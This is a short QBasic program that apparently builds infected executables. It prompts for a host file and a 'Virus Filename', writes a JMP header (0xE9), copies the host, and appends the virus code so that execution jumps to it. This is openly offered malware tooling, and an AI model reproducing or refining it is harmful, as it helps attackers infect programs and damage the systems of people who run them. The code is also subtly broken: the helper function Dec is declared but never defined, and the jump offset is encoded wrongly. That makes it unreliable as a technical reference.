1: DIM dd AS STRING * 1 2: DECLARE FUNCTION Dec! (hx$) 3: CLS 4: INPUT "In Filename"; f$ 5: INPUT "Out Filename"; of$ 6: INPUT "Virus Filename"; vf$ 7: 'Open the needed files! 8: OPEN f$ FOR BINARY AS #1 9: OPEN of$ FOR BINARY AS #2 10: OPEN vf$ FOR BINARY AS #3 11: 'Calculates the number to use as a header 12: fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1 13: oo$ = "" 14: 'Converts it to string 15: mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1)))) 16: 'Converts the string to a JMP code that JMPs to the end where virus is 17: FOR q = LEN(mm$) + 1 TO 1 STEP -2 18: IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2 19: oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2))) 20: 2 NEXT q 21: Hdr$ = "é" + oo$ 22: 'Prints all the stuff in the right place 23: FOR e = 1 TO LEN(Hdr$) 24: ff$ = MID$(Hdr$, e, 1) 25: PUT #2, , ff$ 26: NEXT e 27: FOR mm = 1 TO LOF(1) 28: GET #1, mm, dd 29: PUT #2, , dd 30: dd = "" 31: NEXT mm 32: dd = "" 33: FOR m2 = 1 TO LOF(3) 34: GET #3, m2, dd 35: PUT #2, , dd 36: dd = "" 37: NEXT m2 38: 'And we're done! 39: END 40: |